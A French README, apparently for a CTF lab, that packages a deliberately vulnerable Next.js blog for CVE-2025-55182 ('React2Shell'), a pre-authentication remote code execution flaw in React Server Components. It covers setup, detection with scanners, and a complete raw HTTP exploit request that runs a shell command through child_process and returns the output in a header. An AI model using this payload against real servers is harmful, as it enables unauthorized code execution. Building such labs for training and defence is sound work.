Share
## https://sploitus.com/exploit?id=0082D293-20DD-5A15-884F-FC0B3BC43761
# CyberSec Blog CTF - React2Shell PoC

Ce dépôt fournit un environnement CTF (Capture The Flag) vulnérable basé sur un blog de cybersécurité utilisant Next.js et React Server Components.

> **[CVE-2025-55182](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)** : Vulnérabilité d'exécution de code à distance (RCE) pré-authentification dans React Server Components versions 19.0.0, 19.1.0, 19.1.1, et 19.2.0. Le code vulnérable désérialise de manière non sécurisée les payloads des requêtes HTTP vers les endpoints Server Function.

> **[CVE-2025-66478](https://nextjs.org/blog/CVE-2025-66478)** : Impact sur les applications Next.js utilisant l'App Router.


---

## Description du CTF

Ce challenge présente un blog de cybersécurité avec :
- 5 articles sur des thèmes de sécurité (Web, React, CTF, Next.js, Désérialisation)
- 3 auteurs fictifs
- Une interface moderne en mode sombre

Le blog utilise des versions vulnérables de React et Next.js, permettant l'exploitation de la faille React2Shell.

## Versions vulnérables utilisées

| Package | Version |
|---------|---------|
| `next` | 16.0.6 |
| `react` | 19.2.0 |
| `react-dom` | 19.2.0 |

## Comment lancer le CTF

### Avec Docker (recommandé)

```bash
# Construire l'image
docker build -t react2shell-poc .

# Lancer le conteneur
docker run --rm -p 127.0.0.1:3000:3000 react2shell-poc
```

### Sans Docker

```bash
npm install
npm run build
npm run start
```

Ensuite, accédez à http://127.0.0.1:3000

## Comment détecter la vulnérabilité

### Avec le scanner AssetNote

```bash
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt

python3 scanner.py -u http://127.0.0.1:3000
```

### Avec Nuclei

```bash
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000
```

## Comment exploiter

### Avec l'outil React2Shell

Voir le dossier `React2Shell/` pour l'exploit Python.

### Payload HTTP manuel

```http
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
```

La réponse contiendra le résultat de la commande `id` dans le header `x-action-redirect`.

## Références

- [Security Advisory: Critical RCE Vulnerabilities in React Server Components & Next.js](https://dev.to/snyk/security-advisory-critical-rce-vulnerabilities-in-react-server-components-nextjs-3lef)
- [CVE-2025-55182 - NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
- [CVE-2025-66478 - Next.js Security Advisory](https://nextjs.org/blog/CVE-2025-66478)
- [React2Shell Scanner - AssetNote](https://github.com/assetnote/react2shell-scanner)

---

*CTF Challenge personnalisé basé sur le template simple-nextjs-blog et l'environnement vulnérable CVE-2025-55182.*